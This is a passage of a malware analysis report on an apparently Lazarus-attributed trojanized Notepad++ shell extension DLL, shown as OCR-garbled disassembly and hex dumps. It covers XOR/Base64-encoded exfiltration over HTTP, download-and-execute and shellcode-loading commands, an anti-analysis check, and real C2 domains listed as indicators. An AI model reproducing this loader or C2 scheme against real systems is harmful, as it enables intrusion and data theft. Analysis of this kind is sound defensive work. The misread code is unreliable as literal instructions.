1 push ecx 1 x875W_U O
1F 0 x87SWD O

-TeXT:690D19CE Tazarus.d11:519Ce #DC6

W@Woump1  @Woump2 WNOum3  WWDump4

W Dump 5

Figure 38

The buffer (concatenation of two buffers) that was compressed earlier is encrypted using XOR (key = 32-byte array):
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690D11CO
690D11C2

69DD11CB
69DD11CE
69DD11CF
690D11D1
69D0D11D3
630D11D5

690D11D7

8B C1 mov eax,ecx

83 EO 1F and eax,1F

BA BO CO 4F DF 69 mov al,byte ptr ds:[eax+63DF4FC0O]
30 04 31 xor byte ptr ds:[ecx+esi],al
41 inc ecx

8B 07 mov eax,dword ptr ds:[edi]
3B C8 cmp_ecx,eax

72 EB jb lazarus.&90D11CO

85 F& test esi,esi

OF 84 53 01 00 0O je lazarus.&9DD1330

83 F8 03 cmp eax,3

OF 82 4A 01 00 00 jb lazarus.&3DD1330

8D 45 02 lea ecx,dword ptr ds:[eax+2]

al=0

byte ptr [eax+69DF4FC0]=[lazarus.69DF4FC0]=1

.text:69D0D11C5 lazarus.d11:$11C5 #5C5

The encrypted buffer from above is encoded using Base64:

Figure 40

2K

I

Ltext:69001222
Ltext:69D01222
Ltext:69DD01222
Ltext:69001226
Ltext:69001229
Ltext:69D0122C
Ltext:69DD122F
Ltext:69D0D1236
Ltext:69001238
Ltext:69D0123C
.text:69001248
Ltext:69001243
Ltext:69001246
Ltext:69D01245
Ltext:69D0124B
Ltext:69001252
Ltext:69001255
Ltext:69D01259
.text:690D0125D
text:690D1268
Ltext:69001263
Ltext:69001266
Ltext:69001268
Ltext:69DD126F
Ltext:69001272
Ltext:69D01276
Ltext:69DD1279
Ltext:690D1288
Ltext:69001283
Ltext:69001286
Ltext:69D01288

loc_690D1222:

movzx  eax, byte ptr [ebx-2]
lea ebx, [ebx+3]

shr eax, 2

add esi, 3

movVZX

mov [edx], al

movEX ~ ecx, byte ptr [ebx-5]
movEX ~ eax, byte ptr [ebx-4]
and acx, 3

shr eax, 4

shl ecx, 4

or ecx, eax

movzx  eax, ds:byte 69DFAFE@[ecx]
mov [edx+1], &l

movEX ~ ecx, byte ptr [ebx-4]
movEX ~ eax, byte ptr [ebx-3]
and ecx, @Fh

shr eax, 6

shl ecx, 2

or ecx, eax
movZX
mov [edx+2], &l
movZX
and eax, 3Fh
movzZX
mov [edx+3], &l

add edx, 4

mav eax, [edi]

add eax, OFFFFFFFEh

eax, ds:byte GIDFAFEB[eax]

eax, ds:byte GIDFAFEB[ecx]
eax, byte ptr [ebx-3]

eax, ds:byte GIDFAFEB[eax]

Jtext:69DD128B cmp esi, eax
.text:69D0128D jb short loc_69DD1222
U
Figure 41

Woump1  @Yoump2  @Mpumpz  @YDump4  @hDumps @ watchi  beelLocals & struct DOCFFa6E
Address | Hex ASCIT sE Rl
€90F4FCO| 01 02 06 04|20 05 D8 11|26 16 30 21|28 29 03 13 |.... ...&.00().. BoERESD
630F4FDO| 27 14 10 23[15 25 17 24|07 19 12 1832 09 31 22 '..#.%.5....2.1"
Figure 39

Address | Hex ASCII

031DG0ES |65 3C 06 04]1C 03 08 11|00 16 30 21|94 BB 0L 13 [E<........ 0l.%..

031D60F8| 81 A7 10 2E|15 2F 17 73|07 70 12 18(5C 09 55 22|.§.../.5.P. . . U"

031D6108 | GE 02 71 D4|AD 76 08 31|26 5F 30 71(28 01 21 50|n.q. v.1& 0q(.!

031D6118 |27 6C 7E 23|73 25 7B 43|07 99 67 18|40 09 50 22| "1~#s%{C..g.E.P"

031D6128 |75 02 2A 43|21 49 09 DD |27 1A 39 21|60 29 3F 60|u.*CII.V'.3! )7

031D6138 |36 14 3E 03|15 6B 17 1A|GA 19 77 OD (32 1B 1F 02 R e

031D6148 |07 38 06 D2|64 05 40 11|26 45 30 6A[28 7D 03 5C Ld.M_&EOT(F-Y

031D6158 |76 14 7F DE|15 17 17 55|34 19 69 43|67 09 64 &D ....U4.iIg.dm

031D6168 |05 5D 56 04|57 &C 08 46|47 43 30 26|51 2B 30 7D|.]V.W].FGC0&Q+0}

031D6178|25 BS 43 23|84 43 44 26(9C 61 12 15|23 56 32 1D |%UC#.CI&.a..#V2.

031D6188 |45 02 91 57|55 07 27 74|26 57 46 23 (2D 28 3C 32|E..WU. T&WF#-(<2

031D6198 B8 25 04 23|ZC A5 SE DA|87 1A 24 18|0A BC B5 21| %.#,¥A...§..%u!

031D61A8|35 80 05 36|AD 02 8B 3E|G8 96 4F BB |4C AB 79 47 (5..6 ..»h.0.LayG

031D61B8|A7 5B 60 89|6A 6D 97 3C|AD 7B 90 77|56 8F 17 47 (§[ .im.<.{.wV..G

031D61C8| 81 A7 44 84|AL DF 47 95|7C 75 BO OE [AB D3 4A 93|.85D.RG. |[u®.s.].

031D61DS| 42 8D 36 88|96 05 94 F8|55 99 08 D [BO DF 5F AZ|B.6....0U..m'R_¢

031DG1ES |DC 88 26 84|93 6B 88 Bl|44 16 5C AL|0C F3 67 85 |U.&..k.3D.%i.bQ.

031D61F8|07 74 50 2E|56 34 40 E4|16 DA 5F A5 |F3 56 SE E2|.zP.v4@a.0_¥6vAi

rooooo
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Address | Hex ASCII |
031DD130|GA 54 77 47 (42 42 77 4443 42 45 4146 6A 41 &8 |ETwGEBWDCBEAFjAh
031DD140|6C 4C 73 42 (45 34 47 GE|45 43 34 56 |4C 78 64 7A|1LSBE4GNEC4VLXdZ
031DD150| 42 33 41 53|47 46 77 4A(56 03 44 70141 GE 45 45 | B3ASGFWIVSIUANEE
031DD160|6F 48 59 49(4D 53 5A 66|4D 48 45 6F |41 53 46 51| oHYIMSZTMHEOASFQ
031DD170|4A 32 78 2B(49 33 4D 6C |65 30 4D 48|6D 57 63 59| IZX+I3MTeOMHMWCY
031DD180 |51 41 6C 51|49 6E 55 43 |4B 6B 4D 65|53 51 6E 64|QATQINUCKKMhsSOnd
031DD190 | 4A 78 6F 35 (49 57 41 T7O(50 32 41 32|46 44 34 44| IK0o5IWApPPZAZFD4D
031DD1AD |46 57 73 58|47 6D 6F SA|64 77 30 73|47 78 38 43 | FWSXGNOZdwOyGKEC
D31DD1E0 |42 TA 67 47|41 6D 51 46(54 52 45 D |52 54 42 71|BzgGAMQFTREMRTE(
031DDICO| 4B 48 30 44|58 48 59 55 (66 77 34 56|46 78 64 56| KHODXHYUFWaVExdY
031DDID0 | 4E 42 6C 70|53 57 63 4A[5A 47 30 46|58 56 59 45 | NB1pSWCIZGOFXVYE
D31DD1ED |56 32 77 49|52 6B 64 444D 43 SA 52 (4B 7A 42 39|V2wIRkdDMCZRKZED
031DDIFO | 4A &2 56 44(49 34 52 44|53 69 61 63|59 52 49 56| IbVDI4RDSiacYRIV
031DD200| 49 31 59 79(48 55 55 43|GB 56 &4 56|42 79 &4 30| IlvyHUUCKVAVBydO
031DD210| 4A &C 64 47 (49 79 30 GF |50 44 4B 34|4A 51 51 6A| J1dGIV0OOPDK43100Q]
031DD220|4C 4B 56 65 (43 6F 63 61|4A 42 67 4B|76 4C 55 68| LKvVeCocalBgKvLUh
031DD230 | 4E 59 41 46(4E 71 41 43|69 7A 35 6F (6C 6B 2B 4C | NYAFNQACiz50Tk+L
031DD240|54 4B 74 35|52 36 64 62|23 49 6C 71|62 5A 63 38| TKLSRedbyIlgbZcs

Figure 42

The binary constructs the following parameters “search=YOIPOUP&ei=6128&0q=<Base64-encoded buffer>":

Address | Hex _|AascIz

031E24A0|73 65 61 72|63 68 3D 53|4F 43 50 4F|55 50 26 65 |Sear CN=YOIPOUP&e
031E24B0| 69 3D 36 31|32 38 26 6F |71 3D 5A 54|77 47 42 42|1=6128200=ZTWGEB
031E24C0|77 44 43 42 (45 41 46 6A|41 68 6C 4C|73 42 45 34 |wDCBEAFjAhILSBE4
031E24D0| 47 6E 45 43 (34 56 4C 78|64 7A 42 33|41 53 47 46|GNEC4VLXdZB3ASGF
031EZ4E0|77 4A 56 53|4A 75 41 6E|45 45 G6F 48|59 49 4D 53 |wIVSIUANEEOHYIMS
031EZ4F0|5A 66 4D 48|45 6F 41 53|46 51 4A 32|78 2B 49 33 |ZfMHEOASFQI2x+I3
031E2500|4D 6C 65 30 (4D 48 6D 57|63 59 51 41|6C 51 49 &E|M1eOMHmWCYQATQIn
031E2510|55 43 4B 6B (4D 68 53 51|6E 64 4A 78|6F 35 49 57| UCKkMhSQndIxoSIw
031E2520|41 70 50 32|41 32 46 44|34 44 46 57|73 §8 47 GD|ApP2AZFD4DFWSXGM
031E2530|6F SA 64 77|30 79 47 78|38 43 42 7A|67 47 41 6D |0ZdwOYGKBCBZOGAM
031E2540|51 46 54 52|45 €D 52 54|42 71 4B 48|30 44 58 48|QFTREMRTRBOKHODXH
031E2550(59 55 66 77|34 56 46 78|64 56 4E 42|6C 70 53 57 | YUFW4VFxdVNE1pSwW
031E2560| 63 4A 5A 47 (30 46 58 56|59 45 56 32|77 43 52 6B|CIZGOFXVYEVZWIRK
031E2570| 64 44 4D 43 (5A 52 4B 7A |42 39 4A 62|56 44 49 34| dDMCZRKZBIIbVDI4
031E2580|52 44 53 69|61 63 59 52|49 56 49 31|59 79 48 55 |RDSiacYRIVILYYHU
031E2590 |55 43 6B 56|64 56 42 79|64 30 4A 6C|64 47 49 79|UCkvdvByd0I1dGIy
031E2Z5AD|30 6F 50 44 (4B 34 4A 51|51 6A 4C 4B|56 65 43 6F | DOPDK41QQjLKVeCD
031E25B0| 63 61 4A 42|67 4B 76 4C|55 68 4E 59|41 46 4E 71| caJBgKvLUBNYAFNg

Figure 43

The User Agent extracted earlier is added to the HTTP request handle using the HttpAddRequestHeadersW routine (0XxA0000000 =

HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD):

o

o

. €8 00 00 00 AD push X87SW_CL O X87SW_CO
- 6A FF push XBTSW_SF O xB7SW_FP
. 56 push esi XETSW_O 0 x875W_Z
- ush dword prr ds:[edi+s]

- ﬂﬂ; dword ptr ds:[<&HtrpAddRequestHeadersw>] | v

.

[esp+8] FFFFFFFF
esp+C] ADDOD0DD

.Text:E90D1ASA Tazarus.d11:$1A8A #ESA

@Woumpt  @bump?  Woump3  @Woump4  @Woumps @ watchi  lxeliocals ;;] Struct

esp
[esp+4] 031DGOES L

Figure 44
HttpSendRequestW is used to exfiltrate data to the C2 server:
57 push edi XB7SW_B 0 x875wW.C3 0 x87sW.C2 0
FF 75 AC push dword ptr ss:[febp-54) XB7SW_C1 0 xB7SW.CO O xB7SW_ES O
6A 00 push o XB7TSW_SF 0 XB87SW_P 1 XB7SW_U o
X87SW_0 0 xB87SW_Z 0 x87SW_D 0

push o
ush dword ptr ds Ees\ +8]
l_ih dword ptr ds:[<anttpSendrequestws]

-Text:630D1823 lazarus.d11:$1B23 #F23

Whomp 1 @oump2  Eioump3  Womps  Eoumps  Bwachi  bellecs stuce
address | wex | ascix |
031E24A0 [F3! 65 61 72 153 68 30 59| 4F 49 50 4F |55 50 26 65 sear:thYOIPOuF'&q

Figure 45

It’s worth mentioning that all C2 servers were down during our analysis. We’ve emulated network connections using FakeNet.

The size of the C2 response is retrieved by calling the HttpQueryInfoW routine (0x5 = HTTP_QUERY_CONTENT_LENGTH):

A 00 push o

8D 45 BS lea eax,dword ptr ss:febp- 45§ x875tatusword 0020
50 ush eax X87SW_B 0 x875W_C3
8D 45 BC ea eax,dword ptr ss:[febp-24] XB7SW_C1 O X87SW_CO
50 push eax XBTSW_SF O x87SW_P
6A 05 push 5 XBTSW_O 0 X8TSW_Z

BT SW_C2
HETSW_ES
HBTSW_U
R8T SW_D

cooe

ush dword ptr ds:[esi+8]
gﬂi ‘dword ptr o ds:[<avttipgueryInfow>]

es A
esp+4] 00000005
esp+B] DOCFF934
[esp+C] DOCFF330

- TEXT: 69001840 lazarus.d11:$1840

WWoumpl  @oump?  Woump3  Eoump4  Wpumps @ watchi  be-llocas P Stuct
Address | Hex |asciz
DOCFF934 |00l 00 00 m|-1n 00 00 00|00 00 0O ﬂn|om 00 00 nn‘..|

Figure 46

The binary copies the C2 response to a buffer via a function call to InternetReadFile:
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50 push eax X87TSW_E 0 x87SW.C3 O xB87SW.C2 O
8B 45 AB mov eax,dword ptr ss:febp-55f XB7SW_C1 0O Xx87SW.CO O xB87SW_ES 0O
56 push esi X87SW_SF 0 XB7SW_P 1 X87SW_U ©
s7 push edi X87SW_O 0 xB87SW_Z 0 X875W_D o
FF 70 08 push dword ptr ds:[eax+s] e
FECISS7CTF2IDETEY: call dword ptridssl<aInternetReadrile] ) |—— .
'\j So=c= S » | Default (stdcal) |
T — — - —— — 4 D0CCO00C
rd ptr [69DEF27C <lazarus.&InternetReadFile>]=<wininet.InternctReadFile> -‘:,' ::;“ 05113490
Eeswa D0DO05A6
-text:690D1B7E Tazarus.d11:$187E #F7E Sl b

Wowmp1  @oumpz  @oump3  Woumpse  @oumps @ watchi  esllocals P stuct i R
Address | Hex |ascrr ]I a"%"’“ﬁ.w

05113490 K 00 00 00/00 00 00 00l00 00 00 oolo0 00 00 ol iha al

Figure 47

The malicious process parses the data between the “<html></html>" and “<div></div>" tags:

.text:69DD1EA4

.text:69DD1EA4 loc_69DD1EA4:

Jtext:69DD1EA4 push ecx

.text:69DD1EAS push offset aDivDiv ; "<div</dive”
Jtext:69DD1EAA lea ecx, [ebp+var_C8]
.text:69D0D1EB® call sub_6IDD26F@

.text:69DD1EBS test eax, eax

.text:69DD1EB7 jns short loc_69DD1EDI
§ Ll
lall s =
.text:69DD1EBY push BCX .text:69DD1EDS
.text:69DD1EBA push offset aHtmlHtml ; “"<htmls></html:"] |.text:69DD1EDS loc_69DDIEDI:
.text:69DD1EBF lea ecx, [ebp+var_C@] .text:69DD1EDY xor edi, edi
Jtext:69DD1ECS call sub_69DD26F@
.text:69DD1ECA xor edi, edi
.text:609DD1ECC mov ecx, 1
.text:69DD1EDL cmp eax, @FFFFFFFFh
.text:69DD1ED4 cmovnz edi, ecx
.text:69DD1ED7 jmp short loc_69DD1EDB
Figure 48

The malware performs a similar POST request with different parameter values “search=DOWPANY&ei=6128":

! 57 push edi X87SW_B 0 XB7SW.C3 0 x87SW.C2 O
| FF 75 AC push dword ptr ss:[febp-54) XB7SW_C1 0 XB7SW_CO O xB7SW_ES O
| g: gg DI.IS: o X87SW_SF 0 XB87SW_P 1 xB7SW_U o
I A O pus’ XB7SW_0 O XB7SW_Z O x87SWD 0O
] - FF 76 D8 push dword ptr ds:[esi:s]
BE— FF 15 50 F2 DE &9 a1l dword ptr ds:[<aWrrpSendRequestws>] v =
' — > | Default (stdcal) »|[s ][0 unock
1: [esp] DOCCOOOC
dRequest> 2: [esp+4] DOOOODOD
3: [esp+8] 00000000

4: [esp+C] D51180A8 "search=DOWPANY&ei=6128"
- ™

-Lext: 65001823 lazarus.d11:$1B23 #F23

WWoumpt  @bump? WWDump3  WWDump4  ENDump5 B watch1  ellocls ‘;;'Sh'un

Address | Hex |asciz
OOCFF9E4 il 65 €2 72|63 68 30 44[4F 57 SO 42[4E 59 26 65| Hear ch=oowPANY&e

Figure 49

The C2 response is decoded using Base64, and then XOR decrypted. The malware implements 4 different actions that will be explained based
on the EAX register value:

text:690D79C4
.text:69DD079C4 loc_69DD79C4:

Ltext:69DD79C4 mov eax, dword ptr [ebp+var_BC]
Ltext:69DD79CA test eax, eax
Ltext:690079CC jnz short loc_69DD79F7
1
.text:69DD79F7
.text:69DD79F7 loc_69DD79F7:
.text:69DD7IFY cmp eax, 1
.text:69DD7IFA jnz short loc_69DD7A1B
] 1

Ltext:69D07ALE
.text:69DD7A1E loc_69DD7ALB:

Ltext:69DD7A1E cmp eax, 2
.text:69DD7ALE jnz short loc_69DD7A3F
] 1
.text:69DD7ASF
.text:69DDTAIF loc_69DDVA3F:
.text:69DD7A3ZF cmp eax, 3
Ltext:690D7A42 jnz loc_690DD7AD2
Figure 50
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EAX = 0 — load a PE into the current process memory

GetNativeSystemInfo is utilized to retrieve information about the current system:

esp+4] 0103F7CO
00CC0004
033BE618 L™\ "C:\\Users\\REM\\Deskt

-texti6F7A3169 lazarus.d11:53169 #2569

i - e - S - i - [ e L

Figure 51

The DLL performs multiple VirtualAlloc function calls that will allocate memory for the new executable (0x3000 = MEM_COMMIT |
MEM_RESERVE, 0x4 = PAGE_READWRITE):

X87SW_B 0 XB7SW.C3 0O xB7SW.C2 O
XB7SW_C1 0 xB7SW._CO 0 xB7SW_ES 0O
X87SW_SF 0 XB7SW_P 1 xB7SW_U o

6A 04
&8 00 30 00 DO
57

FF 73 34

LTEXT:6FTA3LSF lazarus.dl1:$319F #259F
@oump1  @hoump2  WHDump3  BhDump4  WDumos @ watch1  Iellocals 4 Stuct

Anar anan CA ©m ANTNI NN AN ANTAM AR NN ARTSE CE A nn (53]

Figure 52

The malware changes the memory protection depending on the segment (for example, the code segment’s memory protection is set to 0x20 =

PAGE_EXECUTE_READ):

o SF7AZ s e o gy P v o ey

. gF?AZEgi X87TW_6 3 (Empty) xB7TW_7 3 (Empty)
®| sF7a2E98 0D 00 02 00 00 ax, 200

GF7A2E9E x87Statusword 0020

4c1 XB7SWB 0 X87SWC3 O xB7SWEZ O

XB7SW.C1 O XB7SW.CO 0 XS87SW_ES O

XB7TSW_SF 0 XB7SW_P 1 X&7SW.U O

pumps  Eoumps

Figure 53
After a few more operations, the process passes the control flow to the new PE.
EAX =1 — download and execute a .exe file

The binary gets the AppData folder path by calling the SHGetFolderPathW routine (ox1c = CSIDL_LOCAL_APPDATA):

X87SW_B 0 xB75W_C3
XB7SW_C1 O xB7SW_CO
XB7ESW_SF 0 XB7SW_P
XB7SW O 0O

.text:690D7DB3 lazarus.d11:4$7DB3 #7183

Woumpt  @hpump2  pump3  Woump4 EDumps

Figure 54

GetTickCount is used to extract the number of milliseconds that have elapsed since the system was started:

I _>;| [ o e e = met'richcount)—

Figure 55

The malware creates a file based on the above value (0x40000000 = GENERIC_WRITE, ox1 = FILE_ SHARE_READ, ox2 =
CREATE_ALWAYS, 0x80 = FILE_ ATTRIBUTE_NORMAL):
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x875tatuswWord 0020
o

ERCDNET Tc
esp+8] 0000000

#7215

00
6C 00|5C O0 TE

6D 00|70 00 00

Figure 56

The newly created file is populated with content that is supposed to be transmitted by the C2 server:

H 00 push o

H 44 24 28 Jea eax,dword ptr ss:lffesp-zsf x875tatusword 0020

i 3 44 24 28 00 00 00 OO mov dword ptr ss:lesp+zsi,o XETSW_B 0 XB87SW.C3 0O Xx87sW.C2 O

! push eax X87SW_C1 0 xB75W_CO O xB87SW_ES 0

! F 75 OC push dword ptr ss:[febp+Cj] XB7SW_SF 0 XB7SW_P 1 X87SW_U 0
3 74 24 28 pu:h dword ptr cs:fesp+25] XB7TSW_ O 0O XxB87S5W_Z O X87SWD O

=3
S[<awriteril
[esp+4] DOCFFB1O0

es|
.TeXT:690DTESL lazarus.d11:$7E41 #7241 esp+C] OOCFFa84

Woump!  @pump?  @Dwmp3  WlDump4 @ Dump S

ellocals 4 Struct

@ watch 1

Figure 57

The malicious binary executes the file by calling the CreateProcessW API:

Mz

.text:690D7F86
.text:69D07F@6 loc_69DD7F@G6:

.text:69D07F@6 lea eax, [esp+98h+ProcessInformation]
.text:69DD7FBA push eax 3 lpProcessInformation
.text:69DD7FEE lea eax, [esp+94h+StartupInfo]
.text:69DD7FBF push eax ; lpstartupInfo

.text:69DD7F1@ push [} ; lpCurrentDirectory
.text:69DD7F12 push ] 3 lpEnvironment
.text:69DD7F14 push [} ; dwCreationFlags
.text:69DD7F16 push [} ; bInheritHandles
.text:69DD7F18 push [} ; lpThreadAttributes
.text:69DD7F1A push ] 3 lpProcessAttributes
.text:69DD7FLC push esi ; lpCommandLine

.text:69D07F1D push ] ; lpApplicationName
.text:69DD7FLIF call ds:CreateProcessW
.text:69DD7F25 mov [esp+98h+var_808], eax
.text:69DD7F29 call ds:GetLastError
.text:69DD7F2F mov ecx, [esp+9@h+var_78]
.text:69DD7F33 mov [ecx], eax
.text:69DD7F35 test esi, esi
Ltext:69DD7F37 jz short loc_69DD7F5@

Figure 58

EAX = 2 — download and execute a .dll file

The execution flow is similar to the above case, and we only highlight the difference. Rundll32.exe is used to execute the DLL file (an export
function can also be specified in the command line):
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.text:6F7AB162
.text:6F7AB162 loc_6F7AB162:
-text:6F7A8162 push edi
.text:6F7A8163 push
.text:6F7A8168 push 4a8h
-text:6F7A816D push esi
.text:6F7AB16E call
text:6F7A8173 add esp, 1eh

.text:6F7ABL4E push eax

.text:6F7AB14C push edi

.text:6F7AB14D push offset aRundll32ExeSS ;
.text:6F7AB152 push 486h

.text:6F7ABL57 push esi

.text:6F7AB158 call sub_BF7AL398
.text:6F7AB15D add esp, 14h
.text:6F7AB168 jmp short loc_6F7A8176

"rundll32.exe \"Es\"¥s"

offset aRundll32ExeS ; "rundll32.exe \

sub_6F7A1398

LB |

EE
.text:6FTABLTE

.text:6F7ABL76 loc_GF7AB176:

Ltext:6F7ABL76 lea eax, [esp+2@h+ProcessInformation]
.text:6F7ABL7A push eax 3 lpProcessInformation
.text:6F7AB17E lea eax, [esp+24h+StartupInfo]

.text:6F7ABL7F push eax ; lpStartupInfo
.text:6F7AB188 push 5] ; 1pCurrentDirectory
.text:6F7AB182 push a 3 lpEnvironment
.text:6F7AB184 push a ; dwCreationFlags
-text:6F7AB186 push a 3 bInheritHandles
.text:6F7ABLEE push a ; lpThreadAttributes
Ltext:6F7ABLBA push a ; lpProcessAttributes
.text:6F7ABLBC push esi 3 lpCommandLine
.text:6F7AB18D push a ; lpApplicationName

.text:6F7AB18F call
.text:6F7ABL95 mov [esp+9@h+var_8@], eax
.text:6F7AB199 call ds:GetLastError
.text:6F7AB19F mov ecx, [esp+2@h+var_78]
.text:6F7ABLAS mov [ecx], eax
.text:6F7AB1AS test esi, esi
Ltext:6F7ABLAT jz short loc_6F7ABLCE

ds:CreateProcessi

8

Figure 59

EAX = 3 — copy and execute shellcode

The process allocates memory using the VirtualAlloc routine (0x1000 = MEM__ COMMIT, 0x40 = PAGE_EXECUTE_READWRITE):

6A 40 push 4 AGFIM_D 3 LEEmELY) AGF ML 3 \EILY)
8D 82 EO 00 0 Tea eax,dword ptr _ds: E0]
€7 85 34 FF 00 00 OOy mov dword ptr ss:|feb x&75ratusword 0020
68 00 10 00 00 push 100 XB7SW_BE O XB7SW_C3 0 X87SW.C2 O
03 C7 add eax,edi X87SW_C1 O 7 0O Xx875W_ES O
50 push eax MBTSW_SF O 1 X87Sw_U o
&£ 462 | &A 0O push o - P S
T I FF 15 38 F1 78 6F | €anl dword pre ds:i[<avirtualallocs] v -
| v SR Es s S 5 | Defauit (stdcal) ~ |5 (2] unlock
Ll e s
dword ptr [6FTBF138 <lazarus.dvirtualalloc»]=<kernel3z.virtualalloc> 2: esgL; 00001000
3: esp+8] 00001000
a4z 1 00000040
.text: 6F7A7AG4 lazarus.d11:$7A64 ¥6E64 e
@Woump1 | Pbump2  WHoump3  WNoump4  WHoumps @ watchi  b-llocls P Stuct mommmo
‘Addr:s Hex | AscTx ~ mmmss|nmnmm
EEE s e L e L
Figure 60

The DLL implements an anti-analysis check. It calls the isProcessorFeaturePresent API in order to determine whether _fastfail() is available. If

this feature is not supported, the current process is terminated by calling the GetCurrentProcess and TerminateProcess functions (0x17 =

PF_FASTFAIL_AVAILABLE):

-text:6F7AEFDS
.text:6F7AEFDI
.text:6F7AEFDI
.text:6F7AEFDY sub_6F7AEFD9 proc near

.text:6F7AEFDY push 17h ; ProcessorFeature

.text:6F7AEFDE call
.text:6F7AEFEL test
.text:6F7AEFE3 jz

ds:IsProcessorFeaturePresent
eax, eax
short loc_6F7AEFEA

J

¥ ‘ ¥

[l e =

.text:6F7AEFES push 5 .text:6F7AEFEA

.text:6F7AEFE7 pop ecx .text:6F7AEFEA loc_6F7AEFEA:

text:6F7AEFES int 29h ; Wind: RtlFailFast(ecx)| |.text:6F7AEFEA push esi
.text:6F7AEFEB push 1
.text:6F7AEFED mov esi, @Ce888417h
.text:6F7AEFF2 push esi
Jtext:6F7AEFF3 push 2
.text:6F7AEFFS call sub_6F7AEEG®
.text:6F7AEFFA add esp, @Ch
.text:6F7AEFFD push esi ; UExitCode
.text:6F7AEFFE call ds:GetCurrentProcess

Figure 61

text:6F7AFGB4

text:6F7AFBBC
text:6F7AFBBC

.text:6F7AFBB5 call ds:TerminateProcess
.text:6F7AFBBE pop esi
~text:6F7AFBBC retn

push eax 3 hProcess

sub_BF7AEFDY endp

The malware jumps to the shellcode and then frees the memory area allocated earlier:
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As we mentioned at the beginning of the analysis, the threat actor only added the export function explained above, and the others are

legitimate.

We've studied a legitimate Notepad++ shell extension (SHA256: f3e2e6fge7aa065e89040a0c16d1f948489b3751e5ebsefac8106d5f7d65d98d

Ltext:6FJATASS
Ltext:BF7ATASA
Ltext:6F7ATAAR
Ltexti6F7ATAAZ
Stewt i 6F7ATAAS
LtewtiBFTATAAA
LtextiB6FTATAAC
Ltext:6F7ATABZ
Ltext:6F7ATABE
Stewti6F7ATACZ

call sub_GF7A3688

push [ebp+Buffer]

call esi

add esp, @Ch

push geaah ; dwFreeType
push a8 ; dwsize
push [ebp+lpAddress] ; lpAddress
call ds:VirtualFree

mav [ebpt+var_CC], 1

call ds:GetLastError

Figure 62

64-bit) and compared the export functions between the 2 files. As we can see below, the functions are very similar:

(il s =

Ltex F7A95F@ ; Exported entry
Jtext:6F7A95F@
.text:6F7A95F@
.text:6F7AS5F@ ;
.text:6F7AS5F@
.text:6F7AISFO ;

4, DllInstall

Attributes: bp-based frame

HRESULT __stdcall D11Install(BOOL bInstall, LPCWSTR pszCmdLine)

Jtext:6F7A95F@ public DllInstall
.text:6F7A95F@ DllInstall proc near
.text:6F7AS5F@

.text:6F7AS5F@ bInstall- dword ptr 8
~text:6F7A95F@ pszCmdline= dword ptr @Ch
.text:6FTA9SFR

+text:6F7A95F@ push ebp

.text:6F7AS5F1 mov
.text:6F7A95F3 cmp

ebp, esp
[ebp+bInstall], @

-text:6F7AS5F7 jz short loc_6F7A9616
¥ b ]
.text:6F7A95F9 push -] 3 dwInitParam text:6F7A9616
.text:6F7A95FB push offset DialogFunc ; lpDialogFunc) |.text:6F7A9616 loc_6F7A9616: ; uType
.text:6F7A960@ push a ; hiindParent .text:6F7A9616 push 3eh ; '@’
.text:6F7A9602 push 65h ; ‘e’ ; lpTemplateName] |.text:6F7A9618 push offset Caption ; " ad++ Extension: Error®
Jtext:6F7A9604 push hlnst ; hlnstance Jtext:6F7A9610 push offset Text i lling not supported, use DllUnre”...
.text:6F7A960A call ds:DialogBoxParami .text:6F7A9622 push -] 3
.text:6F7A9610 xor eax, =ax text:6F7A9624 call ds :MessageBox
-text:6F7A9612 pop ebp .text:6F7A962A mov eax, B@0848@1h
.text:6F7A9613 retn 8 .text:6F7A962F pop ebp
Jtext:6F7A9630 retn 8
Jtext:6F7A9638 DllInstall endp
.text:6F7A9630
Figure 63
= =
. £ext:00000001500030CE ; Exported entry 3. DllTnstall
. Lext 1B00BHO01ROBRIDCH
. text : OOOBI081 BOGS 3D
. Lext : BOGADON1 5000 3DCR
-£ext:BAG00GIIEE000CE ; HAESULT _stdcall DInstall(BOOL binstall, LPCUSTR praCedLine)
- Eext:B00000E1500030CE public Dl1Tnstall
. tent:0808001800H30CH D1lInstall proc near
. EEXT 100000061 50030CH
. text: BR0080R1E0003DCR AwlnitParsne quord ptr -18h
- TENT: DEGRIGI1E0AEIDCR arg 8= dword pte &
. text:BEGBO001S00830CE arg S~ gmord ptr  18h
text:0BOBOORIEAORI0CE
.text BB0BOGRIROBONOCH mov [rsprarg B], rdx
JLEXt:0ROP0OUIBRONIDCS mov  [rsprarg 6], ecx
. text: BOGEII1500830(Y sub rip, 38h
taxt:9B000001B00030CD cep  [rsps3Ishearg 0], 8
. text:8000000188003002 {2 short loc_lSaeR3DFE
1
L ] ¥
= |
k. wov  (rsp InitParan], § ; duInitParan| |.text:09008001000030FD jmp  short loc_169803E10) |, text:B00000010000307F
#00006150003000 lea  r9, DialogFunc ; lpDialogrunc St loc_1800030FF :
@0GOEOC1SPO03DES xor rad, rEd : huncrarent TEXT:000000R1S0RR30FF lea rex, aUninstallingo ; “Unimstalling not supported, use Dllunre
B0808001588030E7 mov edx, ESh ; "=’ ; lpTesplatellame text:BOGGOOA1EAGAIERE call  sub_1EGOAITEG
mov  rex, 3 hinstance tet: DOO0O0HLEO00NEON mov eax, SGUS4BOLH
esll  esiDialegt .
. text:0O00BORI0O0I0FY xor e, emx
. text :AOBORGE1506030FE jup short loc_1808@3E1a

References

)

TYy

- text 130000001 50003E10

text 0000001B000IELD add

- text :BOOGROELEAGESELS retn
-Te¥T|BOGO0OALEER03ELS DI LINsT:
text 190000001 58003E14

text (60000001B0003E10 loc_180083E10:

rip, 38h

all endp

9000000156003780 cub_1S89AI7ER proc near
000000150001 780
B000060150003700 LoTexts guord ptr @

[rspelprext], rex
rsp, 28

rod, 36h ; "8
*8, Captien
rdx, [raps2sheloTe

180003790 call
text:00000001E80037A3 add rsp, 28h

9000000180003747 retn
OB0B0ONIE0NDITAT sub_LE0ORITER endp
- et OROORDIIBIRDITAT

5 uType

xt] ; lpText

Figure 64
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MSDN: https://docs.microsoft.com/en-us/windows/win32/api/
Fakenet: https://github.com/fireeye/flare-fakenet-ng

VirusTotal: https://www.virustotal.com/gui/file/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269

MalwareBazaar: https://bazaar.abuse.ch/sample/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d 7947269/

INDICATORS OF COMPROMISE
C2 domains:
mante.li
bmanal.com
shopandtravelusa.com
industryinfostructure.com
SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269
URLs:

